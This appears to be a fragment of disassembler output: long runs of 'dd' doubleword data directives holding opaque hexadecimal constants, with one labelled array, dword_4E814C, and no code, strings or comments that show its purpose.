dd 3813DBABh, 81D1C380h, 0B9BF9135h, 0DAEDB601h, 886B3CEAh
dd 574B5880h, 0B0119399h, 816E4D3Ah, 0EF97655Ah, 82D4EEBFh
dd 0BD490352h, 98012619h, 4B134000h, 18EC0370h, 775D0FF8h
dd 520F5B9h, 0FD7DE9EFh, 1471700h, 0CDB645B0h, 0A7E0006Ch
dd 51CFD31Eh, 9B7FBB35h, 0C727A100h, 0E09D250Fh, 0AF74F6h
dd 0E3A89711h, 455CF480h, 0C346EF00h, 9E8413E6h, 0C2A503DAh
dd 0A1636212h, 44EFB390h, 7C1C8E70h, 0D1809F80h, 0FB1CCC9Eh
dd 22330264h, 0F4838A11h, 75B4B881h, 4E12DCCBh, 0FE153E00h
dd 0FA2CD3BBh, 2D1800C0h, 0C854F896h, 5500EBF7h, 89B533BCh
dd 7B2510h, 2F35236Eh, 98533731h, 3B02E700h, 0DA8B47Ah
dd 0BEF43876h, 8B3DF200h, 9C2B01EEh, 0ED00BA7Fh, 0C4E03F11h
dd 73346415h, 0ECBB00AEh, 0C353CB54h, 7146E4Eh, 0AC96DFh
dd 0E4019734h, 0DCB5A6h, 0CBA23A29h, 4AF647Dh, 2B33CA00h
dd 0B7D9B316h, 22530F1Ch, 0DA20C9A0h, 883752B6h, 0B895FA12h
dd 0AAA10400h, 720F20Ah, 5118550Eh, 0BA3F8005h, 31000DADh
dd 3B6E7E48h, 0F2132Eh, 902FCC7Ah, 57A837E7h, 450020FAh
dd 3222FF7Fh, 0DE169Eh, 1AAFC93Ah, 8FCF7C0Bh, 9814BE74h
dd 2F8A12Ch, 290C4B51h, 38A44073h, 0C5F90021h, 8CC17B5Fh
dd 0B8C40D8Eh, 5490EC9Ah, 30853667h, 2330F94Bh, 2F0F3974h
dd 0A0B09CE8h, 0D83D789h, 0F3040072h, 0ED3319B9h, 0B05A30Fh
dd 7130393Ch, 0E2215D80h, 0A1D81259h, 0D4684086h, 0DE1D6F9Eh
dd 0AE5BC500h, 0FF5897E3h, 0D8EB13E8h, 8A442889h, 4F8E03Ah
dd 0F10A611Ah, 145F8283h, 9C561698h, 1BA2CD00h, 2CE7E675h
dd 0B03F4601h, 0C5B17258h, 5B61A440h, 35E0A0B7h, 433E05E8h
dd 0F3554Dh, 16D3BED0h, 0F714C74h, 0F0109D24h, 0BFA5D103h
dd 87F2D8EBh, 0CE42036Dh, 0EF753DCCh, 24284F91h, 2E00BCD4h
dd 248D7199h, 0E8DDAE85h, 0A681F60h, 9B8404Eh, 0B32631FBh
dd 9A481F00h, 0B101CE7h, 574958E9h, 0C919800h, 53756305h
dd 0A0901750h, 791D0B00h, 0D37D6C56h, 3EF500C9h, 0B7A465FAh
dd 551D6492h, 1C04054h, 0CD0AC62h, 0CBBA00D4h, 3C181E61h
dd 0E40B4915h, 8095DDD8h, 0A80CF04Dh, 9633000Ah, 99AE46A0h
dd 3700AAF7h, 0ADA4CE5Fh, 4E8126h, 4D77BDD7h, 4FA97D7Ah
dd 0D8483Ch, 4A013260h, 0AA3D4h, 3D2A8269h, 6297CBA1h
dd 80C89A39h, 68811602h, 31F175h, 0A7C1DFD1h, 4576D359h
dd 6A219900h, 0EED8DCC2h, 0BE55008Eh, 8D231777h, 0D9040C41h
dd 0C01E97DFh, 0BF873C80h, 0B55C311Ch, 6B4FD432h, 7AEADF00h
dd 3D5B13F9h, 0A83E586h, 0E68ADA25h, 8DD167A8h, 0C7680700h
dd 0C5C4F7D7h, 42C20045h, 86E68770h, 844C9998h, 15AD0016h
dd 0B15C88A0h, 4DFA0293h, 0D4F56392h, 8C9BA440h, 2DBF7D02h
dd 68E7D82Ch, 18183AF8h, 0F8316CCEh, 50007CDBh, 0F83D0E6Ah
dd 965FDFh, 8075AC11h, 0EC4934D9h, 0DE526501h, 0CB7BF472h
dd 28E3330h, 7EFD75B5h, 5C439C18h, 80D7BD82h, 8B4D5E20h
dd 4463011Bh, 96DDA06Ah, 8D41815Dh, 8E9B6EF6h, 8C401C35h
dd 2650C81Ch, 6FE31Bh, 0A91978B7h, 0F2735AEFh, 0B0831100h
dd 5152DF46h, 53790D2h, 0A09B480h, 8A800A1h, 14469207h
dd 0D7CADD00h, 0F390F798h, 0D3790E44h, 0A740A69Fh, 0DDF5EE42h
dd 0FB207001h, 0E8640E60h, 0F4252420h, 75721245h, 30140D02h
dd 28502260h, 0C90D6E6h
dd 423DF705h, 0B4008E62h, 31A9BC0Bh, 61BB0044h, 3DD635B8h
dd 3F01DEA6h, 0FE68D414h, 92C1D7DCh, 0BCA73080h, 868A9625h
dd 0F9C5DF3Eh, 0F3E83F00h, 0CC3B5B21h, 0AD7B8Dh, 3C472D03h
dd 51DF1AC2h, 0A297D403h, 0E8A5F8F0h, 0C10684h, 0C4E21B7Bh
dd 8528B766h, 3B5CCB00h, 95EDC5C0h, 0F1C204E7h, 83B2EC7Dh
dd 0C8B8031Ah, 2824600Ah, 0A2044847h, 38D09E11h, 2FFA35h
dd 63CD3F06h, 29DEBD67h, 800F075h, 0B4334A2Eh, 0CCA1B6Ah
dd 52A4D377h, 8F7924CEh, 0FFE57B00h, 2AE24F3Ch, 0CC9B0B11h
dd 0E080224Bh, 88A932A4h, 0B07E9C00h, 0B8F2914h, 0F15850D4h
dd 18B60350h, 0FDF4A53Bh, 0CC6BF0A0h, 80C6723Fh, 0E1FDF38h
dd 0AC062Ah, 0B6234666h, 6AABC0EFh, 0BD34E302h, 609E0B41h
dd 4E77470h, 0F644DACDh, 0C484C45Eh, 0C398806Fh, 29002E63h
dd 41A558BEh, 24195CBCh, 8BB8AD94h, 260780DEh, 0E30CF0DFh
dd 6570997Dh, 68765Ch, 0CD90A84Ah, 5806C345h, 0C7012477h
dd 0E2C61361h, 69119017h, 315EE11h, 0B5B812F1h, 83FA90B9h
dd 65103E6h, 2EA07810h, 0E51F3588h, 0BC687D00h, 38AD0DCEh
dd 0BD56098Bh, 0D00FE1F1h, 61878F0Bh, 0C84C40B3h, 0F2E99740h
dd 50EF38A0h, 87008E5Dh, 4438306Ch, 90B4A08Fh, 366503A8h
dd 0BBE44C64h, 80F854D9h, 0E0DE5F48h, 80690E1Dh, 0AFE0E610h
dd 2800089Ah, 467B0943h, 1486AF4h, 0F202A4A0h, 60CD9552h
dd 0AA131077h, 0E023ADAh, 60F32746h, 24B1630h, 0F818C7Eh
dd 0F540E2A9h, 0CB002A1Fh, 76FE39E4h, 264826EDh, 6EB8D9h
dd 0DF96380Dh, 991EB69Ah, 4E808043h, 0FFFBBCE7h, 0F90B01BFh
dd 8517C4DBh, 30C6E97Eh, 10E49A7Bh, 0BE052CF2h, 0B32A6896h
dd 1F535D80h, 0E2B7006Eh, 0B5E5748Eh, 7D009AC3h, 4686B3BCh
dd 0F6C059h, 7EAED6E1h, 0ABDAE25Ah, 0C585DD00h, 1A50CB90h
dd 30930153h, 98BA17AAh, 70E2DC81h, 6A261900h, 3D5E9BB5h
dd 97ACA8B6h, 0B3D000BDh, 696B1F38h, 8CCEF40h, 387921C4h
dd 9700D0B5h, 0BC1CB99Ch, 0FA054B86h, 6B27BB29h, 0DA90BC40h
dd 1DDEBFC5h, 0F9A22662h, 0CC1B4100h, 17835A38h, 0AEA1DD00h
dd 494694DEh, 70BC0C47h, 3D410BC4h, 8A71B860h, 0FCFAD9CEh
dd 60A804CBh, 90224513h, 0BAE31C14h, 9003F7Dh, 0ACA07EEAh
dd 0BE6BDFh, 1592483Ah, 9B687F1Ah, 80B2C631h, 0C25D085h
dd 31A247C4h, 3A20C442h, 35906BEh, 3B40C510h, 0EE08B31h
dd 2DE5C60Ah, 0F59B0024h, 0F286F199h, 96702C69h, 722C0CFBh
dd 0C801C5C9h, 0B85DD1B0h, 3084ADFCh, 6988F9h, 59295B8Eh
dd 7A0C0057h, 4897AA3Ch, 0A238B6E7h, 0E4F00013h, 776CA64Ch
dd 1C783Ah, 5A867D60h, 2590205Bh, 1B3E3D00h, 0D61617F7h
dd 3087006Ch, 367BDBDEh, 2B077161h, 4E29D299h, 0A41FC340h
dd 0CB640058h, 0E49BCE2h, 0A7E046E3h, 198C0B00h, 9B72506Fh
dd 17130FDAh, 96D8F0h, 5F5EC1CCh, 7000BFAAh, 1AEAB0E5h
dd 0E08B3346h, 81F80019h, 0B1AF0A57h, 7A01923Bh, 94D1BE5Ch
dd 4180C828h, 0F1527D43h, 60030C23h, 0FC0B1161h, 9736C835h
dd 67B50FB7h, 140E210h, 52D3C963h, 12290200h, 233692EBh
dd 2B610365h, 0C193E8BFh, 71A96000h, 0C6963E9Eh, 6DE9003Bh
dd 0E2C6501h, 4A01EC35h, 758C0497h, 7880F4BAh, 9889B816h
dd 9B00D80Eh, 0B41560F7h, 3E9C7E7Ch, 0FF700C24h, 2FD71980h
dd 0DEBB2B28h, 0FD8D121Fh, 0A79524C5h, 0CED6B200h, 26829730h
dd 393BC413h, 3B924200h, 453AD81Eh, 54CD1400h, 7C4B462Eh
dd 0D75D0083h, 0C618416Eh, 3000D955h, 211A68Fh, 34B5FEAh
dd 0C790C0F4h, 0A8D8F9D2h, 61000506h, 0EC778749h, 73084F27h
dd 0E9F35838h, 21B7FE07h, 0F174E0E8h, 270082B1h, 0FD03EC50h
dd 2E370AEh, 5F8898FBh, 41F78FDDh, 56ED28A3h, 16FF50D0h
dd 9243C3h, 8E5F1B38h, 673DC7Dh, 0B999B500h, 0B973FAAh
dd 0F6F703A1h, 0C2E2E109h, 4F79EAF0h, 55F2B1Ch, 30360F7Dh
dd 0DC97C0FDh, 2988ABh, 6DF93DB0h, 0A7E68B27h, 875BF400h
dd 0CD5CEFDAh, 78DF00CAh, 45826EBDh, 3A00C406h, 719241EEh
dd 7775E1Ch, 87E4AEDh, 78EC7C63h, 0AB98D912h, 89295307h
dd 8E604E90h, 87501833h, 9DF84824h, 0A41A8A1Dh, 0D97F9480h
dd 14D414Bh, 223E8B42h, 0E80D896Dh, 0E91496C6h, 7AD4C775h
dd 0F2474Ch, 0E391B08Ch, 0DF3EEBh, 38ECD5AEh, 0C73A8477h
dd 0C67F6C0Ch, 399B681Ch, 6F01556Dh, 0B50F1668h, 38488293h
dd 0DDF3146Ah, 0DB860B60h, 7FD2C3EBh, 136723C0h, 3A484200h
dd 6B5C233Fh, 6189059Eh, 809377A5h, 0E9D3F2E2h, 0FD918007h
dd 0E3371070h, 78EE21F0h, 4E1F1951h, 0FC398064h, 80A18F63h
dd 0D0F7EB0Ch, 0A4B793ABh, 0AF722800h, 46C54A6h, 2DF60033h
dd 1FE6AA9Ah, 6005BCFh, 13A73D9Bh, 3CA26C4Ch, 5F0085E3h
dd 0BB47AE3Ch, 4300A918h, 7795E779h, 450698h, 41379DBCh
dd 2503D099h, 43481490h, 902E3048h, 7F79AE08h, 1D0700CAh
dd 1B85DE66h, 0CE006DFBh, 6BBAC2FEh, 0E0CF99D2h, 7B570017h
dd 9D9012A7h, 0C6003918h, 0F8C3E2BBh, 0C873ECh, 0AE31A0E5h
dd 4F019571h, 7006A402h, 8276C9C0h, 20C294DCh, 340BB8A6h
dd 0A5695800h, 56E304Eh, 477778Fh, 4ADDAE1Dh, 0FB46807Dh
dd 1C0E7367h, 15AB7Ch, 0E289F442h, 0F6EC037Ah, 0E8CD74E5h
dd 0E901C8B8h, 0BAD5A107h, 0EE63C528h, 0B04DE35Bh, 1CE18347h
dd 181AD954h, 0B33546D3h, 75222700h, 0FCBFE9FFh, 72F0038Dh
dd 7D580C06h, 0CB08B011h, 2D1A3700h, 3A2AC49Dh, 3E811000h
dd 0D654F614h, 0C8E9009Bh, 0DF45ADAh, 49028573h, 627FC4E2h
dd 7EC17D3Ch, 3040EE1Fh, 0E0FBAD59h, 3E128AFEh, 1F024F7Ah
dd 606A4169h, 0E0AECC6h, 809ED11Ah, 81CC00FFh, 53F87E84h
dd 34A00604h, 5886FDE4h, 0EE9C3C98h, 982FFC80h, 94DCE1A7h
dd 0BD015007h, 81CB5778h, 0A942796Ch, 0AD3560h, 58985674h
dd 0B57F482Fh, 67FDD300h, 938E717Ah, 0C00F004Ch, 9970ED11h
dd 0FCE1C944h, 97012838h, 4EC34659h, 0B07BBB9Fh, 4FF8D64Ch
dd 0D95D18C7h, 0CEDC7CC0h, 0BAF41C58h, 0F71E80D8h, 34F03F4Eh
dd 0A20E88B8h, 20D636B9h, 5C9DEF8Ch, 6D520CB5h, 7A28F8A1h
dd 551DD200h, 0C6919AF5h, 0D60C073h, 43958963h, 0D7106C1Dh
dd 29A96706h, 2AC50718h, 20AF84F1h, 733F2471h, 0FDC138h
dd 18583C8Fh, 0B7850DCh, 244235CBh, 944ADE81h, 3759601Ch
dd 1473A812h, 614D6F00h, 5A3DBEh, 25803A87h, 1F631370h
dd 9805F577h, 55DB8E47h, 8CC4AFC0h, 0C0B77FBAh, 0CB84C7A0h
dd 92038E66h, 521665ACh, 8037C2C0h, 36B28CD0h, 0CAB1487Ah
dd 2BEEF600h, 1567FF61h, 0CECA7F07h, 0DE50BC90h, 3F27C27h
dd 218CF9AEh, 7EA87506h, 4300CA05h, 2DD7746Ah, 7F335C65h
dd 0A0EA00B3h, 99EF5FFCh, 6A028C4Bh, 10F05321h, 0C8EFE3FBh
dd 5C234CB5h, 987B06C1h, 5B11001Ch, 97144393h, 7600EA1Ah
dd 0B57312CDh, 1EEC98D1h, 24AA0130h, 8AC38078h, 0A0491BBFh
dd 58828726h, 540351Fh, 9733CB1Fh, 0FCC70484h, 0C1D372EBh
dd 800B38DCh, 20EF2529h, 0F960271h, 9A39210h, 0C1ECC4A0h
dd 9AEE530Bh, 0B905C000h, 0AE9E8952h, 88384828h, 88FB1502h
dd 0A0A0C66Dh, 490D5FD8h, 3800D979h, 0B8B6098Fh, 0EE21DA4h
dd 114E796Fh, 5566EBC0h, 0C90F2640h, 0C063D7ADh, 640EAC42h
dd 52030988h, 1000AB94h
dword_4E814C dd 253A976Ch, 8FEBE43Eh, 20588F78h, 0BBD363C9h, 0D1D03948h
dd 350F89C8h, 9585A813h, 7CF401E5h, 60D4E994h, 1B4C16BCh
dd 0CBC00059h, 915AE8C1h, 0D7770009h, 0CEC61F62h, 760E6D73h
dd 8012A042h, 649AAED9h, 6D0B4CAFh, 83930075h, 427CA6A3h
dd 0A900405Ah, 3B6FD87Bh, 44987FFh, 0FDEFC161h, 7814D007h
dd 0F70073EBh, 20E67EE0h, 399C97h, 87DB2396h, 90D9AB3Dh
dd 66D74700h, 0BF83EB24h, 758E052Fh, 0D03DCCFBh, 26A68C04h
dd 80F33B3Fh, 2769F7Ch, 50AA85B1h, 132E831h, 70C8E65Ch
dd 0EC88FA0Bh, 0EC007886h, 2FEAA4D9h, 0FCC95E4h, 0C21C7A9Dh
dd 961E1BA0h, 0B4003687h, 97EA5B7Fh, 39794685h, 0E83FF86Fh
dd 0FA614B00h, 81D2AE8Ah, 26B21A00h, 0F9764E63h, 725B076Ch
dd 60C2915Fh, 62E7DBAFh, 0CB3CB002h, 6815C9FDh, 0B18A74h
dd 36B3A1EAh, 28B7091Fh, 0E52BF700h, 33FFA323h, 64631D49h
dd 7B6F80D7h, 0C65CF2E6h, 37E7F700h, 0E5DE1FD3h, 109101C1h
dd 0D9B23CBFh, 12302062h, 19F6833Ch, 0AB1198C2h, 139ADF01h
dd 0CC41C0A3h, 0AEA10090h, 38190A21h, 0FB00AB7Eh, 0F67B153Bh
dd 133CE95h, 53FDF546h, 348E5613h, 6E24F1D0h, 0CF01A8A2h
dd 5080F796h, 22002862h, 0FDA031EFh, 0C9022CE5h, 0F8173D1Bh
dd 1348E896h, 1424A05Dh, 0DEF6185Bh, 1243A017h, 0D32C2214h
dd 20A0C10h, 1E193997h, 0DE9C2D4Eh, 924001B0h, 710F98E3h
dd 0F483D818h, 15D8E503h, 80321AACh, 17FBADDh, 89D49543h
dd 0D0E32018h, 6D003D7Bh, 0DA44A5F4h, 0CA502Eh, 43CC7859h
dd 739061EAh, 5B2CCB0Fh, 0B77A01FFh, 37D8933Bh, 8D323049h
dd 0D59D2999h, 0BB11D901h, 730A16F6h, 21650898h, 0D500C554h
dd 0DABF89E7h, 0E25FE7Ah, 0F2181FFBh, 43771D80h, 7E0EEB1Bh
dd 0A093CC51h, 7AF526D0h, 407D1DBBh, 0B70F808Bh, 7901A94h
dd 21CEC4Ch, 3AC68AB9h, 1B20481Dh, 30F80023h, 9653BDEFh
dd 54744E98h, 0DD211E60h, 4A1F81Ah, 8FCF74D3h, 825181A7h
dd 0EB6440EFh, 170672FDh, 81E4EA18h, 13D90898h, 4930601Eh
dd 60DB323Bh, 6D9121A8h, 48258F7h, 0AB60478Ch, 1123DBD5h
dd 15E11EBh, 0A1D5934Eh, 83C03D89h, 0D8E0D998h, 42218C7h
dd 55EF43F8h, 80F83754h, 25F959D8h, 0D017BD9Eh, 0F41CA023h
dd 282CDB0Ah, 207F6032h, 2730C9EEh, 4DCA2400h, 31407E78h
dd 912C0032h, 0C729CDD7h, 0E500C445h, 98E94424h, 0C1059h
dd 0EA777F5h, 1101CF7Eh, 0A431B100h, 4D9B49Ah, 9FA91E75h
dd 1E9518BEh, 960007C2h, 26373217h, 1DEEFB05h, 802A3C1Eh
dd 61311073h, 0F6037122h, 5969B9E9h, 0AFAEA799h, 97F8A045h
dd 94CF58h, 5AA8F230h, 15078E7Ch, 0FDF9AB07h, 3CE0F049h
dd 2EBEA51Ch, 0CCDB71h, 9D0F5BCh, 0B0036658h, 5DFB8776h
dd 0FDA2D040h, 6B4A00C2h, 4E0374F3h, 68013CD2h, 11F076F9h
dd 0CFF8AE95h, 8E510060h, 21E089C8h, 920187F4h, 69E76C41h
dd 0E9C01F67h, 90D47132h, 33B4001Ch, 42A0F223h, 8D001664h
dd 5E368624h, 1C8ABFAh, 0F1E5EB8Ah, 0F49C7DF4h, 3500AC22h
dd 7961AFE1h, 75E2A8Dh, 0C1D67C2Eh, 3FE4E0A3h, 5424E04Ah
dd 990E029Ch, 0FAFE8002h, 14C1F38h, 0AB4F2B5Eh, 8080A03Bh
dd 8B980DE0h, 71155F5Ch, 733E1ED1h, 6204C056h, 392217F8h
dd 16249F00h, 0CC05EEAFh, 9BD10667h, 50536E98h, 0E28B4E0Bh
dd 9F9B8068h, 0EB6261h, 40AF1792h, 12674EDh, 949B6900h
dd 0F160A92Bh, 81B70072h, 0CFA1B8D4h, 7505F938h, 419E07F5h
dd 0F42BCEC1h, 106C0E8h, 0BCCB377Dh, 46F88064h, 1E00A0DDh
dd 75D5CD9Bh, 4DB7922h, 661B10Bh, 0FBCD8025h, 2B1E5B94h
dd 0BFA3D23h, 0D6EA28DDh, 1801F64h, 7073389Fh, 86C180D4h
dd 43FA283Eh, 6020195Bh, 30E71937h, 0A500F0E1h, 0BF2DFE9Fh
dd 0E369274h, 0E07912BAh, 5EB3D141h, 4F06EC0Ch, 485A760Bh
dd 0A5638086h, 0E22070h, 0BBEAD19Dh, 42D37CAAh, 0BC3C01Eh
dd 1A3D7078h, 9BFEBD76h, 0B8D81F49h, 3053612Ah, 171018B2h
dd 0CF140E40h, 0A8933Fh, 8DCDED3Ch, 17D1948h, 6D4E4BFFh
dd 0F44D061Dh, 0BA3DEFC6h, 829900C7h, 0D5511652h, 38F63FFDh
dd 963BA380h, 0D311F8AAh, 0A464C200h, 0D2C159EBh, 0C31003Fh
dd 8886B2FCh, 0B4390FA7h, 0E2A8E1AFh, 0E842EDFEh, 4DA480F5h
dd 0A17D0903h, 60E0BCD4h, 16983BB0h, 8FB4C70Eh, 58E40DA0h
dd 18004FBBh, 0EA9B86FAh, 0CBCA51h, 887FD1B6h, 0AE1C8DD6h
dd 0F12D3F4h, 14037192h, 0F4FDB2A8h, 6602BC91h, 9D6ADCh
dd 2437E1F7h, 27C46092h, 91DBC102h, 610CB761h, 0B6F0AF10h
dd 159403E9h, 0E7ADD4E1h, 70D8CC9Bh, 40F0B73Ch, 25B07E60h
dd 3E31D086h, 0E99E7692h, 944BC06Eh, 0BA2FF5CBh, 27752000h
dd 0DCF9513Bh, 0A14F3A25h, 2A4139Fh, 0DA919E67h, 2095CC87h
dd 354CFF0Ch, 0CFDC5106h, 0F66D57Eh, 0B483F106h, 0D9440452h
dd 0E6C5435Dh, 1C59D80Dh, 18E16079h, 0F6F8B2AAh, 7E58E703h
dd 0E8C9A744h, 1DED1F89h, 804F1A43h, 0FC2725E2h, 0B9506154h
dd 0E500A8ABh, 23DDB7ACh, 0E42E22h, 483DF225h, 1B5F990Bh
dd 8E63B2C0h, 77BF17h, 0E0758F0Dh, 0DC094164h, 6B5D2100h
dd 8C6E2B05h, 0A2320FEFh, 0F0806A75h, 0B7D47F59h, 202ED371h
dd 0FD006512h, 0C3392657h, 0EBD10E8Ch, 8BA035F4h, 440EBC0Dh
dd 0A56B2202h, 48C5C9BDh, 1675F4FCh, 7E7FC4h, 8F8A4FC9h
dd 0B7509C87h, 0AC00D1ECh, 75FF588Eh, 0E20DFF1h, 0ED9A2CC8h
dd 4C622327h, 950909E8h, 0B0C70AADh, 0E9D36A8h, 0DECE9635h
dd 0FEBC1DA3h, 5F3B9012h, 0C1EE0400h, 37703Eh, 0E0BE5669h
dd 0DDAD7B5Ah, 75171D0Ah, 3E00BCF7h, 8D9790B6h, 0E8E250A6h
dd 0D6330CD5h, 211198F3h, 0CF03DBB8h, 5D232820h, 3D191777h
dd 9E3006Fh, 6A8DB3DEh, 4938D37Ch, 54FA8941h, 4A482088h
dd 0C0139C5Eh, 9E03ED52h, 0C28EF66h, 7000ECE4h, 0F4CF746h
dd 0E503E9Ch, 710BA106h, 0DD0A0CC0h, 727E54B3h, 0DA013D76h
dd 0B786C1AEh, 3080F8E5h, 374819F1h, 6E07C25Ah, 79AB3B1Dh
dd 7CE07260h, 0CD8B00B7h, 50292D17h, 0E10A3A62h, 0F04632ECh
dd 8DBD9700h, 0A51877h, 57BF091Dh, 510D4EC4h, 824D8900h
dd 0ED2922AAh, 7F6300F3h, 3340F66Dh, 0D5004C17h, 203449F9h
dd 3B28D8CBh, 1038FF36h, 0C5F40E00h, 0B60387BAh, 32D3D900h
dd 0FF2EA144h, 930C0E68h, 59009F26h, 7A3EC892h, 80A33D3Ch
dd 1999D1E4h, 0C5272Bh, 56F7938Eh, 0A57362FCh, 75593900h
dd 9A842E94h, 127E0027h, 0D07F1FADh, 5158B869h, 0FF3D005Ah
dd 0B71DF054h, 40EF64D7h, 9807C0DBh, 86000313h, 4B4070Ah
dd 2E379Eh, 1D74FA44h, 286A1005h, 0AFE2B00h, 1E075C9Dh
dd 0D69F03BAh, 0A65D6BBEh, 5E2B1FA8h, 3D07EFFAh, 83BF65DEh
dd 31362330h, 686200CCh, 0F403BCE0h, 8901FFA1h, 4E5B1520h
dd 4824616Bh, 260C00B1h, 0D7E1CD8Ch, 340C5E12h, 11A3F1B2h
dd 0A96B0093h, 66CD583Fh, 0E50A9E62h, 8DD331CFh, 0ED0F3D04h
dd 0E13295C0h, 2B410008h, 0A0283BD2h, 0F200A7F3h, 0F7D0DA95h
dd 3AE27C7h, 1848BE69h, 0B6F97583h, 0EBC464EAh, 317ED514h
dd 0C2B000BBh, 9A8F67CAh, 2CB059h, 0A63EEA40h, 0D516A747h
dd 38EECB31h, 3090BF32h, 0F4B23822h, 9700DDECh, 0B65ED58Fh
dd 0C087C47h, 0EC6B6335h, 0E2501628h, 89071B20h, 2A31433Ah
dd 48DA9A87h, 3E831Eh
dd 188BCD45h, 160CA3Bh, 7FEA8A94h, 48362A53h, 0D400E024h
dd 6AF61F3Eh, 7C2ABDFh, 4F5DBB89h, 6153A07Ah, 0DE00FB09h
dd 166D9044h, 8747B2h, 3BC3EDF7h, 95713C68h, 4EAECA00h
dd 9E206B1Bh, 3FDDB830h, 0F3A2A8h, 8E917F45h, 40321110h
dd 0CE41C3A0h, 8A8B5902h, 604ADA93h, 0D03A64h, 9C9EDB51h
dd 23485435h, 0EAE98F00h, 349D632Bh, 0B97C606Eh, 6DBB9E35h
dd 9519BC00h, 90C92CCCh, 1E52795Eh, 7BB879A6h, 148051BCh
dd 2F6CEFC3h, 923F044Bh, 0FE76807Ch, 19183E37h, 0ABB30244h
dd 46580567h, 59F8FA60h, 4C4CD5Dh, 0D33C9482h, 6DD42890h
dd 87920046h, 1A29EAA4h, 58185977h, 0A220E23Ah, 0E7A81EB7h
dd 603DD290h, 9336DE90h, 4E743C06h, 73165CDh, 0A5FDC6CFh
dd 0DB135077h, 4109B7EEh, 0A195889Eh, 445163E8h, 0A2D4B065h
dd 0A6DF00ACh, 5D20C6EEh, 9126648Fh, 0E200BCDDh, 8890336Ah
dd 0C67530B1h, 0A07EDB41h, 0C3EA5400h, 0F460B66Bh, 43F558C0h
dd 897D4200h, 4EAD696Ch, 88FB9600h, 9DAB6F2Dh, 0C6820002h
dd 5D42E19Ch, 8307628Ah, 912F1CA5h, 0E3B34EA0h, 2F2858ECh
dd 6FBE9700h, 2FC12D6h, 51F3BF00h, 6E5CC46Ah, 0B85758C7h
dd 4A673400h, 8A018883h, 660545F6h, 0AEC3A638h, 0FDE4E81Dh
dd 5C053C16h, 880BD2Eh, 50E88B48h, 0E408A006h, 60C00E70h
dd 334062F2h, 0A5ACBF01h, 52B7CF00h, 90CEC3Ah, 8F650549h
dd 0C202132Eh, 14627BB0h, 2866B0C0h, 3538F51Dh, 0FC0170E4h
dd 0DC8F773Fh, 0E6E930h, 2B6E0BDh, 0FEE32A64h, 185CD0C0h
dd 757F9DEh, 0BD9CF076h, 3101F0C7h, 0B40F6061h, 0A0EB6491h
dd 0EF90655Eh, 0BEE50055h, 0DE270E97h, 0A83C4B81h, 43E1FF1h
dd 30896312h, 6C13F8h, 0D92BF6BAh, 244998E1h, 91D1C800h
dd 797B7EAFh, 0F7BB00DEh, 0F0269552h, 3D015647h, 66533655h
dd 0F0401378h, 0F4CEB045h, 0A6DD1EEBh, 311080DEh, 3255DA56h
dd 0F77235Ch, 402B5B8Eh, 0E7F9F4Eh, 58FE472h, 0A7A9774Fh
dd 2A9404FBh, 0A20C4028h, 0AB50DDh, 558EF291h, 6461AFE9h
dd 0A93D2E09h, 636C2E31h, 0F8AB38D0h, 2308BEEh, 0D75E64CDh
dd 0F4503348h, 22786660h, 7CD24Ch, 8D24FA4Fh, 0D36F969h
dd 0C6782971h, 2B4831FCh, 0B98C0170h, 45AD1056h, 0A48820h
dd 5804B67Ch, 0F603FB7Bh, 3922BB04h, 98B0F75Dh, 0A68A0C82h
dd 18403BE5h, 71DF9512h, 77048D7h, 0FDC7D84h, 61415AE5h
dd 3865C340h, 1C00BA08h, 0B670E0B4h, 13D0B46h, 556A98CBh
dd 0F0A50FD5h, 0C83EDBC9h, 6C5401DCh, 25E118CDh, 102FA842h
dd 0B402AAF5h, 7C01A8F7h, 4CE4E13Eh, 52093422h, 0C42B815Bh
dd 93691300h, 8096C950h, 0DDC0BF00h, 9A15D0Bh, 0EC9B619Fh
dd 0EDA3E0A0h, 4D002490h, 48137B1Ah, 3826BA76h, 22835650h
dd 0AF5298BCh, 391186A0h, 4FCEFF00h, 8ABD052Eh, 1A501C4Dh
dd 9DB9C00Eh, 8746C3BFh, 0EA01C773h, 0F0B19991h, 4031D480h
dd 241D3FE4h, 0B8DB07h, 0EE54F8B2h, 0B40013FCh, 0DFF21011h
dd 1FEBF9h, 0DA7C0BB6h, 0EC821F7h, 81D31301h, 73ED5D96h
dd 1F625A30h, 6EF1BE2Bh, 0A6BD07A4h, 1191E7B2h, 0E965DBE7h
dd 208DCD1Eh, 0A53A153Ah, 202283FAh, 0A8B124F0h, 96A070h
dd 1AB040Ah, 0BDCB0B09h, 0BCB05898h, 0CF873Ah, 166FD2C9h
dd 0BA8B0604h, 1B550008h, 0B54D183Ah, 0F89251ACh, 911FD7E0h
dd 649262Fh, 20B8A057h, 1F3D6B9h, 0CC9AC067h, 5058D8E4h
dd 69A8EFC8h, 153BB202h, 0E0131A44h, 26527D88h, 80E44378h
dd 8F19CAE0h, 0B200EDCDh, 0D151AD9Bh, 577176h, 2BA5107Ah
dd 9E5311Bh, 0EBB00D00h, 6378C2FDh, 5A78DEh, 0C6586740h
dd 13F05E98h, 1679E005h, 68D059B9h, 0EE60D6Fh, 0D055B3A8h
dd 3441FD2h, 0BD6142DAh, 0F4BF03D0h, 3C5E521Ch, 2CB50903h
dd 0C09283C4h, 4C384B42h, 290018E8h, 5607E62Dh, 1000AD0Dh
dd 0C3E3D45Ah, 1E4EB672h, 0C39659EBh, 17ACBBA1h, 8FE5C90h
dd 0C7193Ch, 3763BC30h, 9DD7B8h, 8A832232h, 94C0D372h
dd 0C6694E1Dh, 0BAD271C0h, 3DC30438h, 57EEBD9h, 0A952224Ah
dd 68C283C8h, 0A8892800h, 66305A13h, 3378007Bh, 39C24864h
dd 0C1391CDAh, 344A80E6h, 749ED263h, 90404CAh, 8077D630h
dd 0A6689125h, 0C45F0A00h, 1DA007F7h, 41A70567h, 7A2C29h
dd 0EFAB13B7h, 190257F2h, 0B0A1A96h, 777460FBh, 5A9E2643h
dd 3ED600DFh, 0B05717BFh, 8B550400h, 0B6667180h, 56B895h
dd 630C4934h, 0B1E9C61h, 12FB900h, 3878B042h, 8CA67Bh
dd 0B2A87D9h, 49A89889h, 241E7798h, 6140D48Eh, 0CEC68A6Ah
dd 0CF1E006Dh, 8331204h, 0FC0F68E5h, 615A2FB8h, 0A386EA3Ch
dd 6C49E8h, 5CC3CE20h, 9E257643h, 195F9D00h, 0D3574F3Ah
dd 2FB0003Eh, 0CA3D659Ah, 540088F2h, 0F670A795h, 0EF0CCEh
dd 5E09214Ch, 0C6B8A2C4h, 7207FCECh, 28C79BC2h, 0E1B019D7h
dd 1F52ADh, 292BF16Bh, 4F95C88Ch, 49949000h, 6856884h
